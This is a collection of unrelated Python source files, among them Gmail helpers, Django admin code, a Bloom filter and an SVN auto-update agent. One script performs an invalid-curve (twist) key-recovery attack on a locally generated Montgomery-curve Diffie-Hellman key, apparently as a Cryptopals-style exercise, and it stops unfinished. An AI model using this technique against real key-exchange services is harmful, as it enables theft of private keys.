int(self.graph_tuple_stats.data_flow_positive_node_count_avg or 0) @database_statistic def data_flow_positive_node_count_max(self) -> Optional[int]: """The minimum data flow max node count for non-empty graphs.""" if self.has_data_flow: return int(self.graph_tuple_stats.data_flow_positive_node_count_max or 0) @database_statistic def splits(self) -> List[int]: """Return a list of unique split values.""" if self._splits is None: self.RefreshStats() return self._splits @database_statistic def split_counts(self) -> Dict[int, int]: """Return a dictionary mapping split to the number of graphs.""" if self._split_counts is None: self.RefreshStats() return self._split_counts def RefreshStats(self): """Compute the database stats for access via the instance properties. Raises: ValueError: If the database contains invalid entries, e.g. inconsistent vector dimensionalities. """ with ( self.ctx.Profile( 2, lambda t: ( "Computed stats over " f"{humanize.BinaryPrefix(stats.graph_data_size, 'B')} database " f"({humanize.Plural(stats.graph_count, 'graph')})" ), ), self.Session() as session, ): query = session.query( # Graph and IR counts. sql.func.count(GraphTuple.id).label("graph_count"), sql.func.count(sql.func.distinct(GraphTuple.ir_id)).label("ir_count"), sql.func.count(sql.func.distinct(GraphTuple.split)).label("split_count"), # Node and edge attribute sums. sql.func.sum(GraphTuple.node_count).label("node_count"), sql.func.sum(GraphTuple.control_edge_count).label("control_edge_count"), sql.func.sum(GraphTuple.data_edge_count).label("data_edge_count"), sql.func.sum(GraphTuple.call_edge_count).label("call_edge_count"), sql.func.sum(GraphTuple.control_edge_count + GraphTuple.data_edge_count + GraphTuple.call_edge_count).label( "edge_count" ), # Node and edge attribute maximums. sql.func.max(GraphTuple.node_count).label("node_count_max"), sql.func.max(GraphTuple.control_edge_count).label("control_edge_count_max"), sql.func.max(GraphTuple.data_edge_count).label("data_edge_count_max"), sql.func.max(GraphTuple.call_edge_count).label("call_edge_count_max"), sql.func.max(GraphTuple.call_edge_count).label("call_edge_count_max"), sql.func.max(GraphTuple.control_edge_count + GraphTuple.data_edge_count + GraphTuple.call_edge_count).label( "edge_count_max" ), sql.func.max(GraphTuple.edge_position_max).label("edge_position_max"), # Feature and label dimensionality counts. Each of these columns # should be one, showing that there is a single value for all graph # tuples. sql.func.count(sql.func.distinct(GraphTuple.node_x_dimensionality)).label("node_x_dimensionality_count"), sql.func.count(sql.func.distinct(GraphTuple.node_y_dimensionality)).label("node_y_dimensionality_count"), sql.func.count(sql.func.distinct(GraphTuple.graph_x_dimensionality)).label("graph_x_dimensionality_count"), sql.func.count(sql.func.distinct(GraphTuple.graph_y_dimensionality)).label("graph_y_dimensionality_count"), # Feature and label dimensionalities. sql.func.max(GraphTuple.node_x_dimensionality).label("node_x_dimensionality"), sql.func.max(GraphTuple.node_y_dimensionality).label("node_y_dimensionality"), sql.func.max(GraphTuple.graph_x_dimensionality).label("graph_x_dimensionality"), sql.func.max(GraphTuple.graph_y_dimensionality).label("graph_y_dimensionality"), # Graph tuple sizes. sql.func.sum(GraphTuple.pickled_graph_tuple_size).label("graph_data_size"), sql.func.min(GraphTuple.pickled_graph_tuple_size).label("graph_data_size_min"), sql.func.avg(GraphTuple.pickled_graph_tuple_size).label("graph_data_size_avg"), sql.func.max(GraphTuple.pickled_graph_tuple_size).label("graph_data_size_max"), # Data flow column null counts. sql.func.count(GraphTuple.data_flow_steps).label("data_flow_steps_count"), # Data flow step counts. sql.func.min(GraphTuple.data_flow_steps).label("data_flow_steps_min"), sql.func.avg(GraphTuple.data_flow_steps).label("data_flow_steps_avg"), sql.func.max(GraphTuple.data_flow_steps).label("data_flow_steps_max"), # Data flow positive node count. sql.func.min(GraphTuple.data_flow_positive_node_count).label("data_flow_positive_node_count_min"), sql.func.avg(GraphTuple.data_flow_positive_node_count).label("data_flow_positive_node_count_avg"), sql.func.max(GraphTuple.data_flow_positive_node_count).label("data_flow_positive_node_count_max"), ) # Ignore "empty" graphs. query = query.filter(GraphTuple.node_count > 1) # Compute the stats. stats = query.one() # Check that databases have a consistent value for dimensionalities. if stats.node_x_dimensionality_count > 1: raise ValueError(f"Database contains {stats.node_x_dimensionality_count} distinct node x dimensionalities") if stats.node_y_dimensionality_count > 1: raise ValueError(f"Database contains {stats.node_y_dimensionality_count} distinct node y dimensionalities") if stats.graph_x_dimensionality_count > 1: raise ValueError(f"Database contains {stats.graph_x_dimensionality_count} distinct graph x dimensionalities") if stats.graph_y_dimensionality_count > 1: raise ValueError(f"Database contains {stats.graph_y_dimensionality_count} distinct graph y dimensionalities") # Check that every graph has data flow attributes, or none of them do. if not (stats.data_flow_steps_count == 0 or stats.data_flow_steps_count == stats.graph_count): raise ValueError( f"{stats.graph_count - stats.data_flow_steps_count} of " f"{stats.graph_count} graphs have no data_flow_steps " "value" ) self._graph_tuple_stats = stats with self.Session() as session: self._splits = sorted( set( [ row.split for row in session.query(GraphTuple.split) .filter(GraphTuple.split != None) .group_by(GraphTuple.split) ] ) ) self._split_counts = { split: session.query(sql.func.count(GraphTuple.id)).filter(GraphTuple.split == split).scalar() for split in self._splits } @property def graph_tuple_stats(self): """Fetch aggregate graph tuple stats, or compute them if not set.""" if self._graph_tuple_stats is None: self.RefreshStats() return self._graph_tuple_stats @property def stats_json(self) -> Dict[str, Any]: """Fetch the database statics as a JSON dictionary.""" return {name: function(self) for name, function in database_statistics_registry} def __repr__(self) -> str: return ( f"Database of {humanize.DecimalPrefix(self.graph_count, 'graph')} with " f"dimensionalities: node_x={self.node_x_dimensionality}, " f"node_y={self.node_y_dimensionality}, " f"graph_x={self.graph_x_dimensionality}, " f"graph_y={self.graph_y_dimensionality}." ) # Deferred declaration of flags because we need to reference Database class. app.DEFINE_database( "graph_db", Database, None, "The database to read graph tuples from.", ) def Main(): """Main entry point.""" graph_db = FLAGS.graph_db() print(jsonutil.format_json(graph_db.stats_json)) if __name__ == "__main__": app.Run(Main)
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be1bfa3e366d715d32613284924cf79abde06d41
# -*- coding: utf-8 -*- """ ----------------------------------------- IDEA Name : PyCharm Project Name : HelloWorld ----------------------------------------- File Name : task_worker Description : Author : Edwin Date : 2018/1/4 23:38 ----------------------------------------- Changer : Edwin Date : 2018/1/4 23:38 Description : ----------------------------------------- """ __author__ = "Edwin" import queue import time from multiprocessing.managers import BaseManager # 创建类似的QueueManager: class QueueManager(BaseManager): pass def start_request(): # 由于这个QueueManager只从网络上获取Queue，所以注册时只提供名字: QueueManager.register("get_task_queue") QueueManager.register("get_result_queue") # 连接到服务器，也就是运行task_master.py的机器: server_add = "127.0.0.1" print("Connect to server %s..." % server_add) # 端口和验证码注意保持与task_master.py设置的完全一致: manager = QueueManager(address=(server_add, 5000), authkey=b"abc") # 从网络连接: manager.connect() # 获取Queue的对象: task = manager.get_task_queue() result = manager.get_result_queue() # 从task队列取任务,并把结果写入result队列: for i in range(10): try: n = task.get(timeout=1) print("run task %d * %d..." % (n, n)) r = "%d * %d = %d" % (n + 1, n + 1, (n + 1) * (n + 1)) time.sleep(5) result.put(r) except queue.Empty: print("task queue is empty!") # 处理结果 print("worker exit..") if __name__ == "__main__": start_request()
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63d9a0fa0d0747762e65f6f1e85e53090035454c
from mongoengine import Document, StringField, BooleanField, ListField, Q import exceptions class Category(Document): id = StringField(primary_key=True) name = StringField() is_base_expenses = BooleanField(default=False) aliases = ListField(StringField()) @classmethod def get_category_by_text(cls, category_text: str) -> "Category": try: category = cls.objects.get(Q(name=category_text) | Q(aliases=category_text.lower())) except Category.DoesNotExist: raise exceptions.InvalidCategory("Нет такой категории по имени или алиасам") return category
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7163be250ae3a22931de037cb6896c2e6d5f00a8
""" Encontrar el valor mas alto el mas rapido, el mas lento para eso son los algoritmos de optimizacion Para eso debemos pensar en una funcion que queramos maximizar o minimizar Se aplican mas que todo para empresas como despegar, en donde se pueden generar buenas empresas Empresas a la optimizacion #############################################33 Traveling Sales Man Cual es la ruta mas eficiente para recorrer todas las ciudades Resolver el algoritmo de sales man Turing Prize """
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b5275fc068526063fd8baf13210052971b05503f
from matasano import * ec = EC_M(233970423115425145524320034830162017933, 534, 1, 4, order=233970423115425145498902418297807005944) assert ec.scale(4, ec.order) == 0 aPriv = randint(1, ec.order - 1) aPub = ec.scale(4, aPriv) print("Factoring...") twist_ord = 2 * ec.prime + 2 - ec.order factors = [] x = twist_ord for i in range(2, 2**24): if x % i == 0: if x % (i * i) != 0: factors.append(i) x = pp(x, i) print("Getting remainders...") rems = [] for f in factors: u = 0 while u == 0: while isQRes((u**3 + ec.A * u**2 + u) % ec.prime, ec.prime): u = randint(1, ec.prime - 1) u = ec.scale(u, pp(twist_ord, f)) while ec.scale(u, f) != 0: u = ec.scale(u, f) shared = ec.scale(u, aPriv) # Not generating the MAC this time for i in range(f): if ec.scale(u, i) == shared: print("\tSolved mod %d" % f) rems.append(i) break # Now aPriv is +-rems[i] mod factors[i] # Do them 2 at a time to get down to 2 values mod Prod factors[i] print("Correcting parities...") for i in range(len(factors)): if rems[i] != 0: break fixed = i for i in range(len(factors)): if i == fixed: continue u = 0 while u == 0: while isQRes((u**3 + ec.A * u**2 + u) % ec.prime, ec.prime): u = randint(1, ec.prime - 1) u = ec.scale(u, pp(pp(twist_ord, factors[fixed]), factors[i])) if ec.scale(u, factors[fixed]) == 0: u = 0 elif ec.scale(u, factors[i]) == 0: u = 0 shared = ec.scale(u, aPriv) r, _ = crt([rems[fixed], rems[i]], [factors[fixed], factors[i]]) if ec.scale(u, r) != shared: rems[i] = (-rems[i]) % factors[i] # Now I need to run down the remaining bits
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dee1ab3adb7f627680410c774be44ae196f63f6c
#!/usr/bin/env python3 import base64 from apiclient import errors import os from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders import mimetypes def Get_Attachments(service, userId, msg_id, store_dir): """Get and store attachment from Message with given id. Args: service: Authorized Gmail API service instance. userId: User's email address. The special value "me" can be used to indicate the authenticated user. msg_id: ID of Message containing attachment. store_dir: The directory used to store attachments. """ try: message = service.users().messages().get(userId=userId, id=msg_id).execute() parts = [message["payload"]] while parts: part = parts.pop() if part.get("parts"): parts.extend(part["parts"]) if part.get("filename"): if "data" in part["body"]: file_data = base64.urlsafe_b64decode(part["body"]["data"].encode("UTF-8")) # self.stdout.write('FileData for %s, %s found! size: %s' % (message['id'], part['filename'], part['size'])) elif "attachmentId" in part["body"]: attachment = ( service.users() .messages() .attachments() .get(userId=userId, messageId=message["id"], id=part["body"]["attachmentId"]) .execute() ) file_data = base64.urlsafe_b64decode(attachment["data"].encode("UTF-8")) # self.stdout.write('FileData for %s, %s found! size: %s' % (message['id'], part['filename'], attachment['size'])) else: file_data = None if file_data: # do some staff, e.g. path = "".join([store_dir, part["filename"]]) with open(path, "wb") as f: f.write(file_data) except errors.HttpError as error: print("An error occurred: %s" % error) def Reply_With_Attchment(service, userId, receiver, subject, message, attachments, threadId, message_id): """Reply to message with the new pdf attached. Args: service: Authorized Gmail API service instance. userId: User's email address. The special value "me". can be used to indicate the authenticated user. receiver: Email address of who to send to. subject: Email subject. message: Email message, plain text attachments: 'new_pdf.pdf' Name can be changed in pdf.combine_pdfs threadId: Used to match reply with message thread message_id: Identifies specific message to interact with. """ # Create email message emailMsg = message mimeMessage = MIMEMultipart() mimeMessage["to"] = receiver mimeMessage["subject"] = subject mimeMessage["threadId"] = threadId mimeMessage["In-Reply-To"] = message_id mimeMessage["References"] = message_id mimeMessage.attach(MIMEText(emailMsg, "plain")) # Attach files if attachments != None: attachment = attachments content_type = mimetypes.guess_type(attachment) main_type, sub_type = content_type[0].split("/", 1) file_name = os.path.basename(attachment) f = open(attachment, "rb") myFile = MIMEBase(main_type, sub_type) myFile.set_payload(f.read()) myFile.add_header("Content-Disposition", "attachment", filename=file_name) encoders.encode_base64(myFile) f.close() mimeMessage.attach(myFile) raw_string = {"raw": base64.urlsafe_b64encode(mimeMessage.as_bytes()).decode()} raw_string["threadId"] = threadId message = service.users().messages().send(userId=userId, body=raw_string).execute() def Get_Unread_Messages(service, userId): """Retrieves all unread messages with attachments, returns list of message ids. Args: service: Authorized Gmail API service instance. userId: User's email address. The special value "me". can be used to indicate the authenticated user. """ message_list = [] message_ids = ( service.users().messages().list(userId=userId, labelIds="INBOX", alt="json", q="is:unread has:attachment").execute() ) if message_ids["resultSizeEstimate"] > 0: for message in message_ids["messages"]: message_list.append(message["id"]) return message_list def Get_Message_Info(service, userId, message_id): """Retrieves received message info, returns tuple. Args: service: Authorized Gmail API service instance. userId: User's email address. The special value "me". can be used to indicate the authenticated user. message_id: Identifies specific message to interact with. """ message_info = service.users().messages().get(userId=userId, id=message_id).execute() ID = message_info["id"] thread_id = message_info["threadId"] header_info = message_info["payload"]["headers"] for header in header_info: if header["name"] == "Message-ID": message_id = header["value"] if header["name"] == "From": sender = header["value"] if header["name"] == "Subject": subject = header["value"] attachment_info = message_info["payload"]["parts"] attachment_list = [] for attachment in attachment_info: if attachment["mimeType"] == "application/pdf": attachment_list.append(attachment["filename"]) info = (sender, subject, thread_id, message_id, attachment_list, ID) return info def Delete_Message(service, userId, message_id): """Permanently delete message. Args: service: Authorized Gmail API service instance. userId: User's email address. The special value "me". can be used to indicate the authenticated user. message_id: Identifies specific message to interact with. """ service.users().messages().delete(userId=userId, id=message_id).execute()
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# Created by MechAviv # [Maestra Fiametta] | [9390220] # Commerci Republic : San Commerci if sm.hasItem(4310100, 1): sm.setSpeakerID(9390220) sm.sendSayOkay("You can't start your voyage until you finish the tutorial quest!") else: sm.setSpeakerID(9390220) sm.sendNext( "What? You threw away the coins without finishing the tutorial? (Sighs) I suppose I can give you some more coins so that you can complete the tutorial." ) sm.setSpeakerID(9390220) sm.sendSay("Just remember, you can't trade without gold!") sm.giveItem(4310100, 10) sm.setSpeakerID(9390220) sm.sendPrev("Check to make sure there you have coins in your inventory.")
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5a103a4f72b9cd3ea3911aeefeeb2194c8ad7df0
# coding: utf-8 import mmh3 from bitarray import bitarray BIT_SIZE = 1 << 30 class BloomFilter: def __init__(self): # Initialize bloom filter, set size and all bits to 0 bit_array = bitarray(BIT_SIZE) bit_array.setall(0) self.bit_array = bit_array def add(self, val): point_list = self.get_postions(val) for b in point_list: self.bit_array[b] = 1 def get_postions(self, val): # Get points positions in bit vector. # 提供不同的hash种子得到多个hash函数, seed最好为质数 point1 = mmh3.hash(val, 5) % BIT_SIZE point2 = mmh3.hash(val, 7) % BIT_SIZE point3 = mmh3.hash(val, 11) % BIT_SIZE point4 = mmh3.hash(val, 13) % BIT_SIZE point7 = mmh3.hash(val, 19) % BIT_SIZE point5 = mmh3.hash(val, 23) % BIT_SIZE point6 = mmh3.hash(val, 31) % BIT_SIZE return [point1, point2, point3, point4, point5, point6] def is_contains(self, val): point_list = self.get_postions(val) result = True for b in point_list: result = result and self.bit_array[b] return result if __name__ == "__main__": bf = BloomFilter() # 第一次运行时会显示 not exists if bf.is_contains("zqw"): print("exists") else: print("not exists") bf.add("zqw") if bf.is_contains("shooter"): print("exists") else: bf.add("shooter") if bf.is_contains("zqw"): print("exists") else: bf.add("zqw")
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59d04ebd9a45c6a179a2da1f88f728ba2af91c05
from django.contrib import admin from pharma_models.personas.models import Persona admin.site.register(Persona)
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ed5653455062cb3468c232cf0fa3f1d18793626a
from python_logging.Demo_CustomLogger import CustomLogger CustomLogger.init_log() # CustomLogger.info() log_str = "%s/%s/%s\n" % ("demo1", "demo2", "demo3") CustomLogger.info("[main]", log_str)
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a9f3d5f11a9f2781571029b54d54b41d9f1f83b3
from django.contrib import admin from django.contrib.auth.admin import UserAdmin as BaseUserAdmin from django.contrib.auth.models import User from app.models import * # Register your models here. class ProfileInline(admin.StackedInline): model = UserProfile can_delete = False verbose_name_plural = "profile" class UserAdmin(BaseUserAdmin): inlines = (ProfileInline,) admin.site.unregister(User) admin.site.register(User, UserAdmin) admin.site.register(Thread) admin.site.register(Comment) admin.site.register(Experience) admin.site.register(ThreadTag) admin.site.register(ExperienceTag) admin.site.register(UserProfile) admin.site.register(ExperiencesLike) admin.site.register(ExperiencesDislike) admin.site.register(Like) admin.site.register(Dislike) admin.site.register(Toolbox) admin.site.register(ToolboxUser) admin.site.register(Question) admin.site.register(Answer)
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a9b2a4d4924dcdd6e146ea346e71bf42c0259846
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Greger Update Agent (GUA) module for the Greger Client Module """ __author__ = "Eric Sandbling" __license__ = "MIT" __status__ = "Development" # System modules import os, sys import shutil import logging import subprocess from threading import Event from threading import Thread from threading import enumerate # Local Modules from common import getLocalConfig from common import restart_program from gdb import GregerDatabase # from gcm import GregerClientModule class GregerUpdateAgent(Thread): """ Main class which holds the main sequence of the application. """ def __init__(self, ready=None): """ Initialize the main class """ Thread.__init__(self) self.ready = ready # Setup logging self.logPath = "root.GUA" self.log = logging.getLogger(self.logPath) localLog = logging.getLogger(self.logPath + ".__init__") localLog.debug("Initiating Greger Update Agent (GUA)...") # Stop execution handler self.stopExecution = Event() # Get local path self._location = os.path.abspath(__file__) self._location = self._location[:-15] # Trim gcm/__main__.py from path to get at location of application localLog.debug("Local path: " + self._location) # Get Local Configuration Parameters localLog.debug("Getting configuration parameters from file...") config = getLocalConfig() # Locally relevant parameters self.localRevisionRecordPath = config.get("greger_update_agent", "local_revision_path") localLog.debug("Parameter: (localRevisionRecordPath) " + self.localRevisionRecordPath) self.log.info("Greger Update Agent (GUA) successfully initiated!") @property def localRevisionRecord(self): """ Get local revision record (.gcm) """ # Logging localLog = logging.getLogger(self.logPath + ".localRevisionRecord") localLog.debug("Getting local revision record...") # Local parameters # revisionRecordPath = os.path.join(self._location, ".gcm") revisionRecordPath = self.localRevisionRecordPath localLog.debug("Attemption to get record from file...") try: with open(revisionRecordPath, "r") as f: localRecord = f.read() localLog.debug("Local revision record: " + str(localRecord)) except Exception as e: self.log.warning("Failed to open file! - " + str(e)) self.localRevisionRecord = 0 localRecord = self.localRevisionRecord return localRecord @localRevisionRecord.setter def localRevisionRecord(self, newRevision): """ Set local revision record (.gcm) """ # Logging localLog = logging.getLogger(self.logPath + ".localRevisionRecord") localLog.debug("Setting local revision record (.gcm) to " + str(newRevision) + "...") # Local parameters # revisionRecordPath = os.path.join(self._location, ".gcm") revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to write "' + str(newRevision) + '" to file...') with open(revisionRecordPath, "w") as f: f.write(str(newRevision)) self.log.info("Local revision record set: " + str(newRevision)) def getSoftwareInfo(self, rev="HEAD"): """ Retrieve information about a revision available on server. """ # Logging localLog = logging.getLogger(self.logPath + ".getSoftwareInfo") localLog.debug("Attempting to retrieve software revision info...") # Locally relevant parameters if "guaSWSource" in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings["guaSWSource"]["value"] else: self.log.warning("Setting " + str(guaSWSource) + " not defined!") return moduleReturn = {"revision": "", "revision_SHA": "", "revision_author": "", "revision_date": "", "revision_comment": ""} # Get server revision info localLog.debug("Attempting to retrieve info from server... " + guaSWServerURI) pCmd = "svn proplist -v -R --revprop -r " + rev pCmd += " " + guaSWServerURI localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) (output, err) = p.communicate() # Create list of output and remove extra white spaces outputList = output.splitlines()[1:] outputList = [elem.strip() for elem in outputList] # Get revision from output revStr = output.splitlines()[0] revStr = revStr.split()[-1] moduleReturn["revision"] = revStr[:-1] localLog.debug("Revision: " + revStr[:-1]) # Get SHA shaStr = outputList[outputList.index("git-commit") + 1] moduleReturn["revision_SHA"] = shaStr localLog.debug("Revision SHA: " + shaStr) # Get revision author authorStr = outputList[outputList.index("svn:author") + 1] moduleReturn["revision_author"] = authorStr localLog.debug("Revision author: " + authorStr) # Get revision date dateStr = outputList[outputList.index("svn:date") + 1] moduleReturn["revision_date"] = dateStr localLog.debug("Revision date: " + dateStr) # Get revision comment commentStr = outputList[outputList.index("svn:log") + 1].strip() moduleReturn["revision_comment"] = commentStr localLog.debug("Revision Comment: " + commentStr) if err is not None: localLog.debug("Error message: " + str(err)) except Exception as e: self.log.error("Oops! Something went wrong - " + str(e)) return moduleReturn def updateSoftware(self, swRev="HEAD"): """ Get and updating software from server """ # Logging localLog = logging.getLogger(self.logPath + ".updateSoftware") localLog.debug("Getting software revision " + str(swRev) + " from server and updating local client...") # Locally relevant parameters localLog.debug("Constructing target path for new software...") targetRoot = self._location targetDir = "gcm" targetPath = os.path.join(targetRoot, targetDir) localLog.debug("Target path: " + targetPath) localLog.debug("Retrieving relevant parameters from server...") if "guaSWSource" in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings["guaSWSource"]["value"] localLog.debug("Parameter: (guaSWSource) " + guaSWServerURI) else: self.log.warning("Setting " + str(guaSWSource) + " not defined!") return # Get software files from server localLog.debug("Getting software files from server...") # Compile download command pCmd = "svn export --force -r " + str(swRev) pCmd += " " + guaSWServerURI pCmd += " " + targetPath localLog.debug(pCmd) # Execute command try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) (output, err) = p.communicate() if err is not None: self.log.warning("Error message: " + str(err)) else: self.log.info("Download successful!") # Print output for line in output.splitlines(): self.log.info(line) except Exception as e: self.log.error("Oops! Something went wrong - " + str(e)) # Read revision text localLog.debug('Reading downloaded revision from "' + output.splitlines()[-1] + '"...') revText = output.splitlines()[-1].split()[-1][:-1] localLog.debug("Downloaded Revision: " + revText) # Update local revision record self.localRevisionRecord = revText # Get downloaded files text localLog.debug("Listing downloaded files...") downloadedFiles = [] for row in output.splitlines()[:-1]: file = os.path.join(targetRoot, [t.strip() for t in row.split()][1]) downloadedFiles.append(file) localLog.debug("File: " + file) # List files in directory self.log.debug("Getting all files in local directory (after update)...") allFiles = [] # r=root, d=directories, f = files for r, d, f in os.walk(targetPath): for file in f: # allFiles.append(os.path.abspath(file)) allFiles.append(os.path.join(r, file)) localLog.debug("File: " + allFiles[-1]) # localLog.debug("File: " + os.path.join(r, file)) for dir in d: # allFiles.append(os.path.abspath(dir)) allFiles.append(os.path.join(r, dir)) localLog.debug("Dir: " + allFiles[-1]) # localLog.debug("Dir: " + os.path.join(r, dir)) self.log.info("Identifying old files to remove (<new_files> - <all_files>)...") diffFiles = list(set(allFiles) - set(downloadedFiles)) for file in diffFiles: self.log.info("Removing: " + file) try: if os.path.isfile(file): os.unlink(file) elif os.path.isdir(file): shutil.rmtree(file) except Exception as e: self.log.warning("Oops! Something went wrong! - " + str(e)) # List files in directory self.log.debug("Re-getting all files in local directory...") allFiles = [] # r=root, d=directories, f = files for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) self.log.debug("File: " + os.path.join(r, file)) for dir in d: allFiles.append(os.path.join(r, dir)) self.log.debug("Dir: " + os.path.join(r, file)) def run(self): """ Run Greger Update Agent. """ # Logging localLog = logging.getLogger(self.logPath + ".run") self.log.info("Starting Greger Update Agent (GUA)...") # Wait for Greger Client Module to start... localLog.debug("Wait for Greger Client Module to start...") self.ready.wait() # Get all active threads! allThreads = {} for thr in enumerate(): localLog.debug(thr.name + " " + thr.__class__.__name__ + " active!") allThreads.update({thr.__class__.__name__: thr}) if thr.__class__.__name__ == "GregerClientModule": localLog.debug("Greger Client Module thread found! " + allThreads["GregerClientModule"].name) # Start checking for updates loopCount = 0 while not self.stopExecution.is_set(): loopCount += 1 localLog.debug("Checking for updates (" + str(loopCount) + ")...") # Get local revision record localLog.debug("Getting local revision record...") localRevision = self.localRevisionRecord # Get server revision... localLog.debug("Getting latest software info...") softwareInfo = self.getSoftwareInfo() self.log.info("Revision check done! (" + str(localRevision) + ")") if int(localRevision) == int(softwareInfo["revision"]): self.log.info("No new revision found.") else: self.log.info("New revision found!") # Do update!! localLog.debug("Attempting to update software...") self.updateSoftware() # Update server with updated software localLog.debug("Attempting to update server with software info...") allThreads["GregerDatabase"].update("about", softwareInfo) # Tell GCM to stop all treads (except GUA)... self.log.info("Attempting to stop all exection before restarting...") allThreads["GregerClientModule"].stopAll(GUA=True) # Restart Application self.log.info("Attemption to restart application...") restart_program() if "guaCheckUpdateDelay" in GregerDatabase.settings: delayTime = GregerDatabase.settings["guaCheckUpdateDelay"]["value"] else: delayTime = 10 self.log.warning("Settings not defined! (using default=10)") # Wait update delay self.log.info("Waiting " + str(delayTime) + "s...") self.stopExecution.wait(delayTime) self.log.info("Greger Update Agent (GUA) execution stopped!")
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9bd659bb3bf812e48710f625bb65a848d3a8d074
# THIS BUILD WORKS, BUT IS VERY SLOW. CURRENTLY YIELDS A DECENT SCORE, NOT GREAT alphabet = "abcdefghijklmnopqrstuvwxyz" def author(): return "" def student_id(): return "" def fill_words(pattern, words, scoring_f, minlen, maxlen): foundWords = find_words(pattern, words, scoring_f, minlen, maxlen) foundWords = foundWords + pattern[len(foundWords) :] return foundWords def find_words(pattern, words, scoring_f, minlen, maxlen): patternCopy = pattern bestWord = ("", 0) bestState = [("", 0), [], []] toConsider = "" possibleWords = [] length = minlen wordDict = {} beg_point = 0 states = [] if len(pattern) < minlen: return pattern for w in words: if len(w) in wordDict: wordDict[len(w)] += [w] else: wordDict[len(w)] = [w] while len(patternCopy) > 1: if length in wordDict: for w in wordDict[length]: snip = patternCopy[:length] for p in range(len(snip)): if patternCopy[p] != "-" and patternCopy[p] != w[p]: toConsider = "" break toConsider = w try: if patternCopy[len(toConsider)] == "-" and toConsider != "" and toConsider not in possibleWords: if scoring_f(toConsider) > bestWord[1]: bestWord = (toConsider, scoring_f(toConsider)) except: break if length == maxlen: patternCopy = patternCopy[1:] leftHalf = pattern[:beg_point] rightHalf = pattern[len(leftHalf) + len(bestWord[0]) :] beg_point += 1 if len(leftHalf) > 0 and leftHalf[-1] == "-": states.append([bestWord, leftHalf, rightHalf]) bestWord = ("", 0) length = minlen length += 1 for s in states: if s[0][1] > bestState[0][1]: bestState = s leftState = fill_words(bestState[1], words, scoring_f, minlen, maxlen) rightState = fill_words(bestState[2], words, scoring_f, minlen, maxlen) if len(leftState) == 0: leftState = "" if len(rightState) == 0: rightState = "" return leftState + bestState[0][0] + rightState minlen, maxlen = 4, 30 letter_values = { "a": 1, "b": 3, "c": 3, "d": 2, "e": 1, "f": 4, "g": 2, "h": 4, "i": 1, "j": 8, "k": 5, "l": 1, "m": 3, "n": 1, "o": 1, "p": 3, "q": 10, "r": 1, "s": 1, "t": 1, "u": 1, "v": 4, "w": 4, "x": 8, "y": 4, "z": 10, } letter_counts = {c: 0 for c in letter_values} with open("words_sorted.txt", "r", encoding="utf-8") as f: words = [x.strip() for x in f] words = [x for x in words if minlen <= len(x) <= maxlen] wordset = set(words) for word in words: for c in word: letter_counts[c] += 1 def scrabble_value(word): if minlen <= len(word) <= maxlen: return sum(letter_values.get(c, 0) for c in word) else: return 0 def length_squared(word): if minlen <= len(word) <= maxlen: return len(word) ** 2 else: return 0 def scoring_f(w): return length_squared(w) + scrabble_value(w) pattern = "-l-h--i-o--w--s--u--g-d-u-n-c-c--b--c-t-" # print(pattern) # print(fill_words(pattern,words,scoring_f,minlen,maxlen))
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3212bb7df990ad7d075b8ca49a99e1072eab2a90
from typing import Type from sqlalchemy.exc import IntegrityError from src.main.interface import RouteInterface as Route from src.presenters.helpers import HttpRequest, HttpResponse from src.presenters.errors import HttpErrors def flask_adapter(request: any, api_route: Type[Route]) -> any: """Adapter pattern for Flask :param - Flask Request :api_route: Composite Routes """ try: query_string_params = request.args.to_dict() if "account_id" in query_string_params.keys(): body = None query_string_params["account_id"] = int(query_string_params["account_id"]) else: body = request.json except: http_error = HttpErrors.error_400() return HttpResponse(status_code=http_error["status_code"], body=http_error["body"]) http_request = HttpRequest(header=request.headers, body=body, query=query_string_params) try: response = api_route.route(http_request) except IntegrityError: http_error = HttpErrors.error_400() return HttpResponse(status_code=http_error["status_code"], body=http_error["body"]) except Exception as exc: print(exc) http_error = HttpErrors.error_500() return HttpResponse(status_code=http_error["status_code"], body=http_error["body"]) return response
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3a65565af4c55fa5479e323a737c48f7f2fdb8ce
